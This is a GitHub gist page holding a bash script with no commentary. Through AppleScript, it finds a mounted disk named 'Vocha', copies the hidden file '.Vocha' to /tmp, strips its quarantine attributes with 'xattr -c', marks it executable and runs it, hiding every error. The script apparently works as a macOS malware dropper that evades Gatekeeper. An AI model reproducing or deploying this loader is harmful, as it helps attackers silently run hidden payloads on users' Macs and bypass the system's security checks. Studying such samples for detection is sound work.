Created
June 2, 2025 22:14
-
-
Save jdagdelen/e3be0669714445a294abed5962bf1f12 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
osascript -e 'on run | |
try | |
set diskList to list disks | |
end try | |
set targetDisk to "" | |
try | |
repeat with disk in diskList | |
if disk contains "Vocha" then | |
set targetDisk to disk | |
exit repeat | |
end if | |
end repeat | |
end try | |
if targetDisk is "" then | |
return | |
end if | |
set folderPath to "/Volumes/" & targetDisk & "/" | |
set appName to ".Vocha" | |
set appPath to folderPath & appName | |
set tempAppPath to "/tmp/" & appName | |
try | |
do shell script "rm -f " & quoted form of tempAppPath | |
end try | |
try | |
do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath | |
end try | |
try | |
do shell script "xattr -c " & quoted form of tempAppPath | |
end try | |
try | |
do shell script "chmod +x " & quoted form of tempAppPath | |
end try | |
try | |
do shell script quoted form of tempAppPath | |
end try | |
end run' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment